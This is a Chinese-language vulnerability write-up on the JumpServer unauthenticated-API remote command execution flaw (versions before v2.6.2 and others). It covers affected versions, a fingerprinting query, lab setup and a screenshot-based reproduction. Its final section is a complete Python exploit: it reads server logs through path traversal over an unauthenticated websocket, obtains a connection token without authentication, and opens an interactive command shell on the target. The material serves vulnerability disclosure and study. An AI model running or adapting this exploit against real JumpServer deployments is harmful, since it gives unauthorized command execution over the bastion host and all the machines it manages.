# JumpServer 未授权接口 远程命令执行漏洞 ## 漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。 JumpServer 使用Python / Django 进行开发。2021年1月15日，阿里云应急响应中心监控到开源堡垒机JumpServer发布更新，修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制，攻击者可构造恶意请求获取到日志文件获取敏感信息，或者执行相关API操作控制其中所有机器。 ## 漏洞影响 ``` JumpServer < v2.6.2 JumpServer < v2.5.4 JumpServer < v2.4.5 JumpServer = v1.5.9 ``` ## 网络测绘 ``` app="FIT2CLOUD-JumpServer-堡垒机" ``` ## 环境搭建 安装 JumpServer v2.6.1 版本 [下载链接](https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip) - 安装注意 配置网络，配置Mysql，配置Redis 选择 n 等待完成安装执行以下命令 ```shell cd /opt/jumpserver-installer-v2.6.1 ./jmsctl.sh start ``` 等待安装完毕访问 http://xxx.xxx.xxx.xxxx:8080 默认账号密码 amdin:admin ## 漏洞复现 进入后台添加配置 **资产管理 --> 系统用户** ![](images/202202101943889.png) **资产管理 --> 管理用户** ![](images/202202101943769.png) **用户管理 --> 用户列表** ![](images/202202101943018.png) **资产管理 --> 资产列表** ![](images/202202101943864.png) 查看一下项目代码提交变动 ![](images/202202101943085.png) ```python import time import os import threading import json from common.utils import get_logger from .celery.utils import get_celery_task_log_path from channels.generic.websocket import JsonWebsocketConsumer logger = get_logger(__name__) class CeleryLogWebsocket(JsonWebsocketConsumer): disconnected = False def connect(self): user = self.scope["user"] if user.is_authenticated and user.is_org_admin: self.accept() else: self.close() def receive(self, text_data=None, bytes_data=None, **kwargs): data = json.loads(text_data) task_id = data.get("task") if task_id: self.handle_task(task_id) def wait_util_log_path_exist(self, task_id): log_path = get_celery_task_log_path(task_id) while not self.disconnected: if not os.path.exists(log_path): self.send_json({'message': '.', 'task': task_id}) time.sleep(0.5) continue self.send_json({'message': '\r\n'}) try: logger.debug('Task log path: {}'.format(log_path)) task_log_f = open(log_path, 'rb') return task_log_f except OSError: return None def read_log_file(self, task_id): task_log_f = self.wait_util_log_path_exist(task_id) if not task_log_f: logger.debug('Task log file is None: {}'.format(task_id)) return task_end_mark = [] while not self.disconnected: data = task_log_f.read(4096) if data: data = data.replace(b'\n', b'\r\n') self.send_json( {'message': data.decode(errors='ignore'), 'task': task_id} ) if data.find(b'succeeded in') != -1: task_end_mark.append(1) if data.find(bytes(task_id, 'utf8')) != -1: task_end_mark.append(1) elif len(task_end_mark) == 2: logger.debug('Task log end: {}'.format(task_id)) break time.sleep(0.2) task_log_f.close() def handle_task(self, task_id): logger.info("Task id: {}".format(task_id)) thread = threading.Thread(target=self.read_log_file, args=(task_id,)) thread.start() def disconnect(self, close_code): self.disconnected = True self.close() ``` 新版对用户进行了一个判断，可以使用 谷歌插件 WebSocket King 连接上这个websocket 进行日志读取 ![](images/202202101943143.png) 比如send这里获取的 Task id ,这里是可以获得一些敏感的信息的 ![](images/202202101944092.png) 查看一下连接Web终端的后端api代码 ![](images/202202101944673.png) 可以看到这里调用时必须需要 **user asset system_user** 这三个值，再获取一个20秒的 **token** 访问web终端后查看日志的调用 ![](images/202202101944023.png) ```plain docker exec -it (jumpserve/core的docker) /bin/bash cat gunicorn.log | grep /api/v1/perms/asset-permissions/user/validate/? ``` ![](images/202202101944593.png) ```plain assset_id=ee7e7446-6df7-4f60-b551-40a241958451 system_user_id=d89bd097-b7e7-4616-9422-766c6e4fcdb8 user_id=efede3f4-8659-4daa-8e95-9a841dbe82a8 ``` 可以看到在不同的时间访问这个接口的asset_id等都是一样的，所以只用在 **刚刚的未授权日志读取**里找到想要的这几个值就可以获得 token ![](images/202202101945874.png) 发送请求获取20s的token ![](images/202202101945185.png) 看一下 koko.js 这个前端文件 ![](images/202202101945990.png) 后端代码 https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go ![](images/202202101945914.png) 这里我们就可以通过 获得的token来模拟请求 ![](images/202202101945570.png) 成功连接模拟了这个 token 的请求,可以在Network看一下流量是怎么发送的 ![](images/202202101945740.png) 模拟连接发送和接发数据 ![](images/202202101945777.png) 这里可以看到我们只要模拟了这个发送，返回的数据和web终端是一样的，那我们就可以通过这样的方法来进行命令执行了 ## 漏洞POC - ✅POC 里包含两个方法，一个是获取日志文件，另一个是命令执行 - ✅日志提取已经过滤了部分API调用的数据，只需要找到那几个值就好了 - ✅命令执行需要从日志中获取敏感数据并写入脚本对应的变量中 - ✅接收数据如果卡住请调整 for i in range(7) 这个位置的 7 ```python import requests import json import sys import time import asyncio import websockets import re from ws4py.client.threadedclient import WebSocketClient def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mPOC_Des: https://www.o2oxy.cn/ \033[0m') print('+ \033[34mVersion: JumpServer <= v2.6.1 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mCmd >>> whoami \033[0m') print('+------------------------------------------') class ws_long(WebSocketClient): def opened(self): req = '{"task":"peiqi/../../../../../logs/gunicorn"}' self.send(req) def closed(self, code, reason=None): print("Closed down:", code, reason) def received_message(self, resp): resp = json.loads(str(resp)) # print(resp) data = resp['message'] print(data) if "/api/v1/perms/asset-permissions/user/validate/?" in data: print(data) async def send_msg(websocket, _text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) recv_text = await websocket.recv() print(re.findall(r'"data":"(.*?)"', recv_text)) async def main_logic(target_url): print("\033[32m[o] 正在连接目标: {}\033[0m".format(target_url)) async with websockets.connect(target_url) as websocket: recv_text = await websocket.recv() resws = json.loads(recv_text) id = resws['id'] print("\033[36m[o] 成功获取 ID: {}\033[0m".format(id)) inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"}) await send_msg(websocket, inittext) for i in range(7): recv_text = await websocket.recv() print(re.findall(r'"data":"(.*?)"', recv_text)) while True: cmd = str(input("\033[35mcmd >>> \033[0m")) cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"}) await send_msg(websocket, cmdtext) for i in range(1): recv_text = await websocket.recv() print(re.findall(r'"data":"(.*?)"', recv_text)) def POC_1(target_url): vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1" response = requests.get(url=vuln_url, timeout=5) print(response.status_code) ws_open = str(input("\033[32m[o] 是否想要提取日志（Y/N） >>> \033[0m")) try: if ws_open == "Y" or ws_open == "y": ws = target_url.strip("http://") try: ws = ws_long('ws://{}/ws/ops/tasks/log/'.format(ws)) ws.connect() ws.run_forever() ws.close() except KeyboardInterrupt: ws.close() else: print("\033[31m[x] 目标漏洞已修复，无法获取敏感日志信息\033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 目标漏洞已修复，无法获取敏感日志信息,{}\033[0m".format(e)) sys.exit(0) def POC_2(target_url, user, asset, system_user): if target_url == "" or asset == "" or system_user == "": print("\033[31m[x] 请获取 assset 等参数配置\033[0m") sys.exit(0) data = {"user": user, "asset": asset, "system_user": system_user} vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1" # vuln_url = target_url + "/api/v1/authentication/connection-token/?user-only=1" try: response = requests.post(vuln_url, json=data, timeout=5).json() print("\033[32m[o] 正在请求：{}\033[0m".format(vuln_url)) token = response['token'] print("\033[36m[o] 成功获取Token：{}\033[0m".format(token)) ws_url = target_url.strip("http://") ws_url = "ws://" + ws_url + "/koko/ws/token/?target_id={}".format(token) asyncio.get_event_loop().run_until_complete(main_logic(ws_url)) except Exception as e: print("\033[31m[x] 请检查 assset 等参数配置,{}\033[0m".format(e)) sys.exit(0) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) user = "ed3460eb-3c70-4beb-b631-f8f91c39bdd1" asset = "37fce0b0-cc4f-4822-8c33-afdebc888fa7" system_user = "da09ddd7-fd3f-46c3-914d-752883a4d950" POC_1(target_url) POC_2(target_url, user, asset, system_user) ``` ![](images/202202101945982.png) ![](images/202202101946161.png)